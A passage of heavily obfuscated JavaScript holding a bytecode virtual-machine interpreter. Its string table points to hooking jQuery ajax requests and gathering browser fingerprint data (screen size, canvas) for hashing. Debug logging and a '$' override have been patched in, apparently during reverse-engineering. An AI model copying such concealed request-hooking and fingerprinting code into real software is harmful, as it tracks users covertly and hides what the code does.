QQ0OQOQ[OQQQ00Q(0x2f8, ']x14')](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ[OQQQ00Q(0x206, 'UgRO')](OQO00OO, 0x28) && (QQQ0OQQ = QQ0OQOQ[OQQQ00Q(0x268, 'pGU9')](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ['ebmpW'](OQO00OO, 0x23) && (QQQ0OQQ = QQ0OQOQ['rdqXt'](Q0OQO0O, OQOQQ0Q)); if (QQ0OQOQ[OQQQ00Q(0x297, 'VI*1')](OQO00OO, 0x25)) { if (QQ0OQOQ['VerMT'](QQ0OQOQ[OQQQ00Q(0x2e3, '@hHo')], QQ0OQOQ[OQQQ00Q(0x331, 'S)T]')])) QQQ0OQQ = QQ0OQOQ['OEgLJ'](Q0OQO0O, OQOQQ0Q); else return; } QQ0OQOQ[OQQQ00Q(0x227, '*OeU')](OQO00OO, 0x26) && (QQQ0OQQ = QQ0OQOQ['cXNTV'](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ[OQQQ00Q(0x2ca, 'IucW')](OQO00OO, 0x2a) && (QQQ0OQQ = QQ0OQOQ['AwIgs'](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ[OQQQ00Q(0x30e, 'ppvG')](OQO00OO, 0x22) && (QQQ0OQQ = QQ0OQOQ['ZAwjs'](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ[OQQQ00Q(0x320, '8Yqt')](OQO00OO, 0x27) && (QQQ0OQQ = QQ0OQOQ[OQQQ00Q(0x27e, 'KPzj')](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ[OQQQ00Q(0x254, 'f891')](OQO00OO, 0x38) && (QQQ0OQQ = QQ0OQOQ[OQQQ00Q(0x2e0, '8k$&')](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ[OQQQ00Q(0x26f, 'sef#')](OQO00OO, 0x2d) && (QQQ0OQQ = QQ0OQOQ[OQQQ00Q(0x2a2, 'Qwom')](Q0OQO0O, OQOQQ0Q)); QQ0OQOQ['QZAff'](OQO00OO, 0x34) && (QQQ0OQQ = QQ0OQOQ['vaAFu'](Q0OQO0O, OQOQQ0Q)); Q0OQO0Q = QQ0OQOO[O00000O++]; if (Q0OQO0Q) OOO00OO[OQQQ00Q(0x310, 'xTCl')](QQQ0OQQ); } QQ0OQOQ['uIqiN'](OQO00OO, 0x1c) && OOO00OO['push']({}); if (QQ0OQOQ[OQQQ00Q(0x349, 'S)T]')](OQO00OO, 0x20)) { OQOQQ0Q = OOO00OO[OQQQ00Q(0x300, 'G]Ue')](), Q0OQO0O = void OQOQQ0Q, QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) OOO00OO[OQQQ00Q(0x282, '4XjS')](Q0OQO0O); } if (QQ0OQOQ[OQQQ00Q(0x2ce, 'IucW')](OQO00OO, 0x3a)) { OQOQQ0Q = OOO00OO[OQQQ00Q(0x264, 'ZO7v')](), Q0OQO0O = !OQOQQ0Q, QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) OOO00OO[OQQQ00Q(0x2bd, 'f%zT')](Q0OQO0O); } if (QQ0OQOQ[OQQQ00Q(0x34c, '4mr8')](OQO00OO, 0xa)) { OQOQQ0Q = QQ0OQOO[O00000O++]; if (!QQO0OQ0) QQO0OQ0 = [][OQQQ00Q(0x269, 'FZB&')](OOO00OO); for (Q0OQO0O = OQOQQ0Q; QQ0OQOQ['BtmgR'](Q0OQO0O, 0x0); Q0OQO0O--) { QQQ0OQQ = OOO00OO[OQQQ00Q(0x344, 'bO(T')](), OQ000OQ[QQQ0OQQ] = QQO0OQ0[Q0OQO0O]; } } if (QQ0OQOQ['DcvEz'](OQO00OO, 0xf)) { if (QQ0OQOQ[OQQQ00Q(0x23c, 'BH%f')](QQ0OQOQ[OQQQ00Q(0x23e, 'yI15')], QQ0OQOQ['mOkgS'])) { const QOO0OQQ = QQ0OQOQ[OQQQ00Q(0x33d, 'G]Ue')]['split']('|'); let QOOQ00O = 0x0; while (!![]) { switch (QOO0OQQ[QOOQ00O++]) { case '0': OO0QO = QQOQQ[QQO0O++]; continue; case '1': if (QQOQO) Q0QOQ[OQQQ00Q(0x20f, 'ZO7v')](Q00O0); continue; case '2': QOOOO = OO00Q[OQQQ00Q(0x352, '4XjS')](); continue; case '3': QOOOQ = QQO0Q['pop'](); continue; case '4': OO00O[OQO00] = OQOQ0; continue; case '5': OO0QQ = OOOO0[OQQQ00Q(0x300, 'G]Ue')](); continue; } break; } } else { OQOQQ0Q = QQ0OQOO[O00000O++], Q0OQO0O = QQ0OQOQ[OQQQ00Q(0x2e9, 'pGU9')](interpreter, OQ000OQ, O00000O, OOO00OO, QOQ0OOO, QQ0OQOO, { 't': OQ000OQ[QOQ0OOO[0x0]] }); if (!Q0OQO0O) QQ0OQOQ[OQQQ00Q(0x2b7, 'tFri')](QQ0OQOQ['NiCeF'], QQ0OQOQ[OQQQ00Q(0x2cb, 'IucW')]) ? O00000O = OQOQQ0Q : QQQQQO = QQ0OQOQ[OQQQ00Q(0x2de, '6CCs')](O000O0, QQQQ0O); else { if (QQ0OQOQ[OQQQ00Q(0x314, '4XjS')](Q0OQO0O, 0x1)) return; else { if (Q000O00['r']) return OOO00OO[OQQQ00Q(0x26c, '4mr8')](); return Q0OQO0O; } } } } QQ0OQOQ['ZxYqF'](OQO00OO, 0x4) && (OQOQQ0Q = QQ0OQOO[O00000O++], OOO00OO['push'](QOQ0OOO[OQOQQ0Q])); if (QQ0OQOQ[OQQQ00Q(0x350, ']x14')](OQO00OO, 0xb)) { if (QQ0OQOQ[OQQQ00Q(0x31a, 'G7LQ')](QQ0OQOQ[OQQQ00Q(0x303, 'pGfn')], QQ0OQOQ['rSXvb'])) O00000 = QQ0OQOQ['SQzOE'](O00QQQ, QOOQQ0); else { if (Q000O00['r']) { if (QQ0OQOQ[OQQQ00Q(0x313, 'QXIo')](QQ0OQOQ[OQQQ00Q(0x259, '[Vwq')], QQ0OQOQ[OQQQ00Q(0x2d5, 'ZO7v')])) return OOO00OO[OQQQ00Q(0x35d, 'IucW')](); else OO0O00 = QQ0OQOQ['bgcXM'](OO0OQ0, QOQO00); } return QQ0OQOO[O00000O++]; } } if (QQ0OQOQ[OQQQ00Q(0x321, 'TUGE')](OQO00OO, 0x1e)) { if (QQ0OQOQ[OQQQ00Q(0x1f0, 'S)T]')](QQ0OQOQ[OQQQ00Q(0x2b0, '8k$&')], QQ0OQOQ['Onsgo'])) { OQOQQ0Q = QQ0OQOO[O00000O++], Q0OQO0O = []; for (QQQ0OQQ = 0x0; QQ0OQOQ[OQQQ00Q(0x21c, 'zT]]')](QQQ0OQQ, OQOQQ0Q); QQQ0OQQ++) { if (QQ0OQOQ['WMlav'](QQ0OQOQ[OQQQ00Q(0x318, 'KPzj')], QQ0OQOQ['uYXRT'])) { const OQOOO0O = QQ0OQOQ[OQQQ00Q(0x233, 'G]Ue')][OQQQ00Q(0x2e2, 'MpX#')]('|'); let QQO0QOO = 0x0; while (!![]) { switch (OQOOO0O[QQO0QOO++]) { case '0': Q0Q000Q = Q0Q0OO0[OQQQ00Q(0x2d4, 'yI15')](); continue; case '1': if (OO00OQ0) QQQOO00[OQQQ00Q(0x322, 'yq*1')](O0OOOO0); continue; case '2': O0OO00Q = QO0OQQO[OQQQ00Q(0x1ec, 'pGU9')](); continue; case '3': Q0Q000O = O0OOOOO[QQQQ0O0++]; continue; case '4': QQQ0Q0O = !Q0QQQQO ? OQQQO00[QQQ00Q0]-- : --Q0QQ000[Q0QQQQQ]; continue; case '5': QQQ0Q0Q = OO0QQQQ[O0O0QO0++]; continue; case '6': QO0O000 = QQ0OQOQ[OQQQ00Q(0x2ab, 'FZB&')](QO0OQQQ, QOOQO00, OO0Q000) || OO0QQQO; continue; } break; } } else Q0OQO0Q = OOO00OO[OQQQ00Q(0x32c, 'xTCl')](), Q0OQO0O[OQQQ00Q(0x256, 'S)T]')](Q0OQO0Q); } QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) OOO00OO[OQQQ00Q(0x27c, 'Ecwj')](Q0OQO0O); } else OOOOOQ = OOOOQ0[OQQOQO++], OQQO0O = OO00OQ[OO0Q00], OO00OO[OO0QQ0] = Q0OQ0Q; } QQ0OQOQ[OQQQ00Q(0x30b, 'G7LQ')](OQO00OO, 0x3) && (OQOQQ0Q = QQ0OQOO[O00000O++], Q0OQO0O = QOQ0OOO[OQOQQ0Q], OQ000OQ[Q0OQO0O] = undefined); QQ0OQOQ[OQQQ00Q(0x1e7, 'FZB&')](OQO00OO, 0x6) && (OQOQQ0Q = QQ0OQOO[O00000O++], O00000O = OQOQQ0Q); if (QQ0OQOQ[OQQQ00Q(0x2dc, 'KPzj')](OQO00OO, 0x1)) { OQOQQ0Q = OOO00OO[OQQQ00Q(0x353, '8k$&')](), Q0OQO0O = OOO00OO[OQQQ00Q(0x240, 'MpX#')](), QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) if(OQOQQ0Q=='$'){ Q0OQO0O[OQOQQ0Q]=aiwin_$ } console.log(Q0OQO0O[OQOQQ0Q]) console.log(1) console.log(OQOQQ0Q) OOO00OO['push'](Q0OQO0O[OQOQQ0Q]); } if (QQ0OQOQ['pPRpe'](OQO00OO, 0x19)) { if (QQ0OQOQ['yMREM'](QQ0OQOQ[OQQQ00Q(0x348, '@hHo')], QQ0OQOQ['rfIWa'])) O00OO0O += O00Q0O0['pop'](); else { const OOOQO0O = QQ0OQOQ['HkzGh']['split']('|'); let QOOQOO0 = 0x0; while (!![]) { switch (OOOQO0O[QOOQOO0++]) { case '0': OQOQQ0Q = QQ0OQOO[O00000O++]; continue; case '1': if (QOOQQQ0) OOO00OO['push'](QQQ0OQO); continue; case '2': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; case '3': Q0OQO0O = OOO00OO[OQQQ00Q(0x29b, 'zT]]')](); continue; case '4': QQQ0OQO = !OQOQQ0Q ? Q0OQO0Q[Q0OQO0O]++ : ++Q0OQO0Q[Q0OQO0O]; continue; case '5': Q0OQO0Q = QQ0OQOQ['qoSQY'](QOOOQOQ, QQQ0OQQ, Q0OQO0O) || QQQ0OQQ; continue; case '6': QQQ0OQQ = OOO00OO[OQQQ00Q(0x240, 'MpX#')](); continue; } break; } } } if (QQ0OQOQ[OQQQ00Q(0x2e8, 'ppvG')](OQO00OO, 0x2)) { if (QQ0OQOQ[OQQQ00Q(0x292, 'G7LQ')](QQ0OQOQ[OQQQ00Q(0x25c, 'Qwom')], QQ0OQOQ[OQQQ00Q(0x2b6, '03K!')])) { OQOQQ0Q = QQ0OQOO[O00000O++], Q0OQO0O = OOO00OO[OQQQ00Q(0x2fc, 'pGfn')](), QQQ0OQQ = OOO00OO[OQQQ00Q(0x34a, 'G7LQ')](), QQO0OQ0 = []; for (Q0OQO0Q = 0x0; QQ0OQOQ[OQQQ00Q(0x258, 'TUGE')](Q0OQO0Q, OQOQQ0Q); Q0OQO0Q++) QQO0OQ0[OQQQ00Q(0x31e, 'ck!W')](OOO00OO[OQQQ00Q(0x295, 'SEv2')]()); QQ0OQOQ['pmYDI'](QQQ0OQQ, 0x0) ? QQ0OQOQ[OQQQ00Q(0x20b, 'xTCl')](QQ0OQOQ[OQQQ00Q(0x2d2, 'BH%f')], QQ0OQOQ['OKOJD']) ? OOQQQQQ = QOQ0Q0O[OQQQ00Q(0x2c1, 'pGfn')](QQ0OQ0Q, QQ0O0Q0) : QQQ0OQO = Q0OQO0O['apply'](OQ000OQ, QQO0OQ0) : QQQ0OQO = QQQ0OQQ[Q0OQO0O][OQQQ00Q(0x225, '[Vwq')](QQQ0OQQ, QQO0OQ0); QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) OOO00OO['push'](QQQ0OQO); } else OQOQ0O = OQO000[OQOQQO++], OQOQ0Q = OQOQQQ; } if (QQ0OQOQ[OQQQ00Q(0x1f1, 'Ecwj')](OQO00OO, 0x1b)) { if (QQ0OQOQ[OQQQ00Q(0x20c, '4XjS')](QQ0OQOQ[OQQQ00Q(0x2c9, 'Ecwj')], QQ0OQOQ[OQQQ00Q(0x335, 'Q&F*')])) { QOOO0Q = QOQQOO[QOOOQO++]; if (!QOOO0O) QO0QQO = [][OQQQ00Q(0x1fe, 'Qwom')](QO00Q0); for (QO0Q0O = QO0000; QQ0OQOQ[OQQQ00Q(0x267, 'f891')](QO0QQQ, 0x0); QOQ00Q--) { OOQOQO = OOQO0O[OQQQ00Q(0x35d, 'IucW')](), QO0OQ0[QO0O00] = QOQQ0Q[QOQQQQ]; } } else { OQOQQ0Q = OOO00OO['pop'](), Q0OQO0O = typeof OQOQQ0Q, QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) OOO00OO[OQQQ00Q(0x310, 'xTCl')](Q0OQO0O); } } if (QQ0OQOQ[OQQQ00Q(0x204, '4mr8')](OQO00OO, 0x18)) { if (QQ0OQOQ[OQQQ00Q(0x22a, 'yq*1')](QQ0OQOQ[OQQQ00Q(0x1f5, 'UgRO')], QQ0OQOQ['enzKI'])) { const OQO00QO = QQ0OQOQ[OQQQ00Q(0x246, 'VI*1')]['split']('|'); let QO0O0QO = 0x0; while (!![]) { switch (OQO00QO[QO0O0QO++]) { case '0': QQ0OQOQ['pmYDI'](Q00QQOO, 0x0) ? OOQQ00O = Q00QQQ0['apply'](QQ000OO, QQ00Q00) : O000O0O = QQ000OQ[O000O0Q]['apply'](QOQ0Q0Q, QOQ00Q0); continue; case '1': for (OQ00OQQ = 0x0; QQ0OQOQ[OQQQ00Q(0x26d, 'tFri')](QOQOO00, O00QO00); OOQ0OQQ++) Q00QQOQ['unshift'](OOQQOOO[OQQQ00Q(0x271, 'tFri')]()); continue; case '2': if (QOQQ0O0) QOQOO0Q[OQQQ00Q(0x1ed, '[Vwq')](OOOOQQO); continue; case '3': OOOOQQ0 = OQ00OQO[OQQQ00Q(0x244, 'Cc$J')](); continue; case '4': OOQQOOQ = OOQ0OQO[OQQQ00Q(0x26c, '4mr8')](); continue; case '5': OQ0QOOO = Q00OOQO[QOQ00O0++]; continue; case '6': QQ0OO00 = Q000QOO[QOQOO0O++]; continue; case '7': Q000QQ0 = []; continue; } break; } } else debugger ; } if (QQ0OQOQ[OQQQ00Q(0x30c, 'UgRO')](OQO00OO, 0x16)) { if (QQ0OQOQ[OQQQ00Q(0x216, '03K!')](QQ0OQOQ[OQQQ00Q(0x32f, 'GQSe')], QQ0OQOQ['PYLZH'])) Q0O0OO = QQ0OQOQ[OQQQ00Q(0x24b, '8Yqt')](Q0OQQ0, Q0O0OQ); else { const QQQOOQO = QQ0OQOQ[OQQQ00Q(0x343, 'Cc$J')]['split']('|'); let OO0Q0QO = 0x0; while (!![]) { switch (QQQOOQO[OO0Q0QO++]) { case '0': for (Q0OQO0O = 0x0; QQ0OQOQ['zzJvd'](Q0OQO0O, OQOQQ0Q); Q0OQO0O++) { QQQ0OQQ += OOO00OO[OQQQ00Q(0x26c, '4mr8')](); } continue; case '1': OQOQQ0Q = QQ0OQOO[O00000O++]; continue; case '2': if (QOOQQQ0) OOO00OO[OQQQ00Q(0x214, 'Qwom')](QQQ0OQQ); continue; case '3': QQQ0OQQ = ''; continue; case '4': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; } break; } } } if (QQ0OQOQ[OQQQ00Q(0x27d, 'IucW')](OQO00OO, 0x5)) { if (QQ0OQOQ[OQQQ00Q(0x2f3, '8k$&')](QQ0OQOQ[OQQQ00Q(0x200, 'iwUv')], QQ0OQOQ['qXGUV'])) { if (OOOQQO['r']) return OOOQQQ['pop'](); return Q00OQ0; } else { const OO0Q0QQ = QQ0OQOQ[OQQQ00Q(0x330, 'KPzj')][OQQQ00Q(0x247, 'Q&F*')]('|'); let OQQQOQO = 0x0; while (!![]) { switch (OO0Q0QQ[OQQQOQO++]) { case '0': QQQ0OQQ = Q0OQO0O[OQOQQ0Q]; continue; case '1': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; case '2': if (QOOQQQ0) OOO00OO['push'](QQQ0OQQ); continue; case '3': OQOQQ0Q = QOQ0OOO[QQ0OQOO[O00000O++]]; continue; case '4': Q0OQO0O = OQ000OQ; continue; } break; } } } if (QQ0OQOQ['eEYdS'](OQO00OO, 0x10)) { if (QQ0OQOQ[OQQQ00Q(0x1ee, 'yI15')](QQ0OQOQ['bIAnK'], QQ0OQOQ[OQQQ00Q(0x27f, 'Cc$J')])) { QOQOQO = OOQQQQ[OQQQ00Q(0x226, 'QXIo')](), OOQQ0Q = !OOQ0QO, OOQOO0 = OOQ0QQ[OOQ00O++]; if (O0O00Q) O0O0QQ[OQQQ00Q(0x228, 'BH%f')](O0O00O); } else return; } if (QQ0OQOQ[OQQQ00Q(0x236, '03K!')](OQO00OO, 0x1f)) { const O0O00O0 = QQ0OQOQ[OQQQ00Q(0x21b, '@hHo')][OQQQ00Q(0x2ef, 'Ecwj')]('|'); let QQQ0QQ0 = 0x0; while (!![]) { switch (O0O00O0[QQQ0QQ0++]) { case '0': if (QOOQQQ0) OOO00OO['push'](QQQ0OQO); continue; case '1': for (Q0OQO0Q = 0x0; QQ0OQOQ[OQQQ00Q(0x30f, 'f%zT')](Q0OQO0Q, QQQ0OQQ); Q0OQO0Q++) QQO0OQ0[OQQQ00Q(0x2e6, 'GQSe')](OOO00OO[OQQQ00Q(0x244, 'Cc$J')]()); continue; case '2': Q0OQO0O = OOO00OO[OQQQ00Q(0x2c6, '[Vwq')](); continue; case '3': OQOQQ0Q = OOO00OO['pop'](); continue; case '4': QQQ0OQQ = QQ0OQOO[O00000O++]; continue; case '5': QQO0OQ0 = []; continue; case '6': QQQ0OQO = new Q0OQO0O[OQOQQ0Q](...QQO0OQ0); continue; case '7': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; } break; } } if (QQ0OQOQ[OQQQ00Q(0x326, '*OeU')](OQO00OO, 0x8)) { if (QQ0OQOQ[OQQQ00Q(0x351, '*OeU')](QQ0OQOQ[OQQQ00Q(0x33e, 'zT]]')], QQ0OQOQ[OQQQ00Q(0x35c, 'QXIo')])) { const Q0QQ0OO = QQ0OQOQ['AQZxG']['split']('|'); let OQQQOQQ = 0x0; while (!![]) { switch (Q0QQ0OO[OQQQOQQ++]) { case '0': if (QQ0OQOQ[OQQQ00Q(0x24c, 'ZO7v')](Q0OQO0O, -0x1)) Q0OQO0O = QQQ0OQQ; continue; case '1': OQOQQ0Q = OOO00OO[OQQQ00Q(0x344, 'bO(T')](); continue; case '2': Q0OQO0O = OQOQQ0Q[Q0OQO0O]; continue; case '3': O00000O = Q0OQO0O; continue; case '4': Q0OQO0O = OOO00OO['pop'](); continue; case '5': QQQ0OQQ = QQ0OQOO[O00000O++]; continue; } break; } } else { O0OQQOO = Q0Q0OQ0[OQQQ00Q(0x328, 'VI*1')](), OQ0O0O0 = QQ0OQOQ[OQQQ00Q(0x304, '*OeU')](O0OOOQQ, O0QQOQ0); if (QQ0OQOQ[OQQQ00Q(0x201, 'Qwom')](OQQ00OO, O0OOOQO)) OQQ0Q0Q = -0x1; OQ0O0OO[OQQQ00Q(0x207, '03K!')](Q0Q0OQO); } } if (QQ0OQOQ[OQQQ00Q(0x265, 'Qwom')](OQO00OO, 0x21)) { if (QQ0OQOQ[OQQQ00Q(0x2ed, 'lrc@')](QQ0OQOQ[OQQQ00Q(0x22c, 'QXIo')], QQ0OQOQ[OQQQ00Q(0x251, 'ppvG')])) QQ0Q0O = QQ0OQOQ[OQQQ00Q(0x359, 'f891')](O0QQQO, O0Q0Q0); else { const Q0QQQ00 = QQ0OQOQ[OQQQ00Q(0x220, 'TUGE')][OQQQ00Q(0x34d, 'pGU9')]('|'); let OQOO00O = 0x0; while (!![]) { switch (Q0QQQ00[OQOO00O++]) { case '0': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; case '1': Q0OQO0O = OOO00OO[OQQQ00Q(0x2ad, 'Q&F*')](); continue; case '2': if (QOOQQQ0) OOO00OO['push'](QQQ0OQQ); continue; case '3': OQOQQ0Q = OOO00OO[OQQQ00Q(0x2a8, 'f891')](); continue; case '4': QQQ0OQQ = delete Q0OQO0O[OQOQQ0Q]; continue; } break; } } } if (QQ0OQOQ[OQQQ00Q(0x2cc, 'BH%f')](OQO00OO, undefined)) { if (QQ0OQOQ[OQQQ00Q(0x237, 'TUGE')](QQ0OQOQ['FiqYO'], QQ0OQOQ['pUjOJ'])) throw new Q00OQOQ(QQ0OQOQ[OQQQ00Q(0x2af, 'GQSe')]); else throw new Error(QQ0OQOQ['nVpFz']); } if (QQ0OQOQ[OQQQ00Q(0x278, 'tFri')](OQO00OO, 0x14)) throw OOO00OO[OQQQ00Q(0x2d4, 'yI15')](); if (QQ0OQOQ[OQQQ00Q(0x2a1, 'MpX#')](OQO00OO, 0x9)) { const QQQOOQQ = QQ0OQOQ[OQQQ00Q(0x2d1, 'K@E7')][OQQQ00Q(0x272, 'Cc$J')]('|'); let QQQQQOO = 0x0; while (!![]) { switch (QQQOOQQ[QQQQQOO++]) { case '0': QQQ0OQO = function() { const OO00O0O = OQQQ00Q; return QQ0OQOQ[OO00O0O(0x30a, 'UgRO')](interpreter, OQ000OQ, Q0OQO0O, OOO00OO, QOQ0OOO, QQ0OQOO, { 't': this, 'n': OQOQQ0Q, 'f': QQ0OQOQ['ONmVV'](OQOQQ0Q, Q0OQO0Q), 'r': 0x1 }, arguments); } ; continue; case '1': Q0OQO0O = QQ0OQOO[O00000O++]; continue; case '2': OQOQQ0Q = OOO00OO[OQQQ00Q(0x2ad, 'Q&F*')](); continue; case '3': QQQ0OQQ ? OOO00OO['push'](QQQ0OQO) : OQ000OQ[OQOQQ0Q] = QQQ0OQO; continue; case '4': QQQ0OQQ = QQ0OQOO[O00000O++]; continue; case '5': Q0OQO0Q = OOO00OO[QQ0OQOQ[OQQQ00Q(0x2c7, 'UgRO')](OOO00OO['length'], 0x1)]; continue; } break; } } if (QQ0OQOQ[OQQQ00Q(0x248, '*OeU')](OQO00OO, 0x1a)) { const Q0Q00QO = QQ0OQOQ[OQQQ00Q(0x33a, ']x14')]['split']('|'); let QQQQQOQ = 0x0; while (!![]) { switch (Q0Q00QO[QQQQQOQ++]) { case '0': Q0OQO0O = OOO00OO[OQQQ00Q(0x290, 'FZB&')](); continue; case '1': OQOQQ0Q = QQ0OQOO[O00000O++]; continue; case '2': QQQ0OQQ = OOO00OO['pop'](); continue; case '3': Q0OQO0Q = QQ0OQOQ[OQQQ00Q(0x2dd, '8Yqt')](QOOOQOQ, QQQ0OQQ, Q0OQO0O) || QQQ0OQQ; continue; case '4': if (QOOQQQ0) OOO00OO[OQQQ00Q(0x239, 'SEv2')](QQQ0OQO); continue; case '5': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; case '6': QQQ0OQO = !OQOQQ0Q ? Q0OQO0Q[Q0OQO0O]-- : --Q0OQO0Q[Q0OQO0O]; continue; } break; } } if (QQ0OQOQ[OQQQ00Q(0x1f8, 'f891')](OQO00OO, 0x39)) { if (QQ0OQOQ[OQQQ00Q(0x276, ']x14')](QQ0OQOQ[OQQQ00Q(0x217, 'GQSe')], QQ0OQOQ[OQQQ00Q(0x274, 'sef#')])) O0O0OQ[OQQQ00Q(0x354, 'G]Ue')]({}); else { OQOQQ0Q = OOO00OO[OQQQ00Q(0x2c6, '[Vwq')](), Q0OQO0O = ~OQOQQ0Q, QOOQQQ0 = QQ0OQOO[O00000O++]; if (QOOQQQ0) OOO00OO[OQQQ00Q(0x33c, '8U5P')](Q0OQO0O); } } QQ0OQOQ[OQQQ00Q(0x2cf, 'lrc@')](OQO00OO, 0xc) && OOO00OO['push'](OQ000OQ); if (QQ0OQOQ[OQQQ00Q(0x252, '8Yqt')](OQO00OO, 0x11)) { const QO0OQ0O = QQ0OQOQ[OQQQ00Q(0x346, 'lrc@')][OQQQ00Q(0x21f, 'EBz@')]('|'); let QO0O0Q0 = 0x0; while (!![]) { switch (QO0OQ0O[QO0O0Q0++]) { case '0': if (QOOQQQ0) OOO00OO[OQQQ00Q(0x33c, '8U5P')](Q0OQO0O); continue; case '1': OQOQQ0Q = QQ0OQOO[O00000O++]; continue; case '2': for (QQQ0OQQ = 0x0; QQ0OQOQ[OQQQ00Q(0x2f2, 'tFri')](QQQ0OQQ, OQOQQ0Q); QQQ0OQQ++) OOO00OO['pop'](); continue; case '3': QOOQQQ0 = QQ0OQOO[O00000O++]; continue; case '4': Q0OQO0O = OOO00OO[OQQQ00Q(0x1f7, '*OeU')](); continue; } break; } } if (QQ0OQOQ['uIqiN'](OQO00OO, 0xe)) { if (QQ0OQOQ[OQQQ00Q(0x34e, 'zT]]')](QQ0OQOQ[OQQQ00Q(0x22b, 'Cc$J')], QQ0OQOQ['ugvfZ'])) Q0QQOOQ = OQQOO0Q[OQQQ00Q(0x219, '8U5P')](), QQQ00O0 = Q0OO00O[OQQQ00Q(0x2a6, 'Qwom')](), OQQQ0O0 = new QO00QOO(OQQOO0O,OO0OOQQ), OO0QQOO[OQQQ00Q(0x262, 'pGU9')](QO00QOQ); else { OQOQQ0Q = QQ0OQOO[O00000O++], Q0OQO0O = QQ0OQOQ['BgsQg'](interpreter, OQ000OQ, O00000O, OOO00OO, QOQ0OOO, QQ0OQOO, { 't': OQ000OQ[QOQ0OOO[0x0]] }); if (QQ0OQOQ[OQQQ00Q(0x2fe, '8U5P')](Q0OQO0O, undefined)) O00000O = OQOQQ0Q; else { if (Q000O00['r']) return QQ0OQOQ['vBaBq'](QQ0OQOQ[OQQQ00Q(0x338, 'sef#')], QQ0OQOQ[OQQQ00Q(0x291, 'GQSe')]) ? OOO00OO[OQQQ00Q(0x2a8, 'f891')]() : OQQ0OO[OQQQ00Q(0x230, '@zXt')](); return Q0OQO0O; } } } QQ0OQOQ[OQQQ00Q(0x32b, '03K!')](OQO00OO, 0x15) && OOO00OO[OQQQ00Q(0x2ec, '6CCs')]('' + OOO00OO[OQQQ00Q(0x219, '8U5P')]()); if (QQ0OQOQ['xqDPB'](OQO00OO, 0x12)) { OQOQQ0Q = OOO00OO['pop'](), OQOQQ0Q = QQ0OQOQ[OQQQ00Q(0x304, '*OeU')](Number, OQOQQ0Q); if (QQ0OQOQ[OQQQ00Q(0x332, 'yq*1')](OQOQQ0Q, NaN)) OQOQQ0Q = -0x1; OOO00OO['push'](OQOQQ0Q); } QQ0OQOQ[OQQQ00Q(0x20a, '@hHo')](OQO00OO, 0x17) && (OQOQQ0Q = OOO00OO[OQQQ00Q(0x328, 'VI*1')](), Q0OQO0O = OOO00OO['pop'](), Q0OQO0Q = new RegExp(Q0OQO0O,OQOQQ0Q), OOO00OO['push'](Q0OQO0Q)); } }(typeof window !== Q0Q00OQ(0x2eb, 'QXIo') ? window : (window = global, window), 0x0, [], [Q0Q00OQ(0x33b, 'Q&F*'), Q0Q00OQ(0x305, '4XjS'), Q0Q00OQ(0x28f, 'SEv2'), Q0Q00OQ(0x25e, 'pGfn'), Q0Q00OQ(0x235, 'KPzj'), Q0Q00OQ(0x1fd, 'TUGE'), 'Q', 's', Q0Q00OQ(0x333, '03K!'), 'i', 'j', 't', 'l', 'w', 'f', Q0Q00OQ(0x223, 'yI15'), 'k', 'm', 'o', 'hex', Q0Q00OQ(0x2d3, '@hHo'), Q0Q00OQ(0x25b, 'f%zT'), Q0Q00OQ(0x25f, 'Q&F*'), 0x8, 0x6, 0x4, 0x10, 0x2, 'buffer', Q0Q00OQ(0x2ee, '4mr8'), Q0Q00OQ(0x2a9, '[Vwq'), Q0Q00OQ(0x22e, 'Q&F*'), 0x0, Q0Q00OQ(0x215, 'IucW'), 0x80, 0x18, 0x3, 0x1, 'n', 'c', 0x20, 0x5a827999, 0x6ed9eba1, 0x70e44324, 0x359d3e2a, 0x67452301, 0x10325477, null, 0x3c2d1e10, Q0Q00OQ(0x28e, '[Vwq'), 0x50, 0xe, 0x5, 0x14, 0x1e, 'pop', Q0Q00OQ(0x357, 'Q&F*'), '', 'e', '0', Q0Q00OQ(0x25a, 'iwUv'), Q0Q00OQ(0x2c5, 'G]Ue'), Q0Q00OQ(0x32e, 'ck!W'), Q0Q00OQ(0x257, 'f%zT'), Q0Q00OQ(0x340, 'iwUv'), Q0Q00OQ(0x1f4, '03K!'), 'r', 'x', Q0Q00OQ(0x260, 'UgRO'), Q0Q00OQ(0x273, 'ppvG'), 0x800, 0xc0, 0x1f, 0x3f, 0xd800, 0xa, 0xdc00, 0x10000, 0xf0, 0x12, 0x7, 0xc, 0xe0, 0xf, Q0Q00OQ(0x24e, 'Q&F*'), '$', 'originalAjax', Q0Q00OQ(0x1f9, 'Ecwj'), Q0Q00OQ(0x298, ']x14'), Q0Q00OQ(0x2b3, '8Yqt'), Q0Q00OQ(0x2cd, '4mr8'), Q0Q00OQ(0x1ef, '*OeU'), Q0Q00OQ(0x2bb, '4XjS'), Q0Q00OQ(0x2f5, 'yq*1'), 'forEach', !![], Q0Q00OQ(0x287, 'UgRO'), 'textStatus', Q0Q00OQ(0x203, ']x14'), 'error', 'errorThrown', 'extend', 'tt', 'url', '&', '=', 'fu', 'aa', Q0Q00OQ(0x31d, 'Q&F*'), Q0Q00OQ(0x2ea, 'S)T]'), Q0Q00OQ(0x2c2, 'IucW'), Q0Q00OQ(0x2e7, 'f%zT'), Q0Q00OQ(0x234, 'UgRO'), 'screenHeight', 'canvas', Q0Q00OQ(0x302, 'Qwom'), Q0Q00OQ(0x280, 'qBYY'), 'canvasData', Q0Q00OQ(0x2a7, 'yq*1'), Q0Q00OQ(0x1f2, 'ZO7v'), Q0Q00OQ(0x311, 'iwUv'), Q0Q00OQ(0x261, 'Ecwj'), Q0Q00OQ(0x2aa, 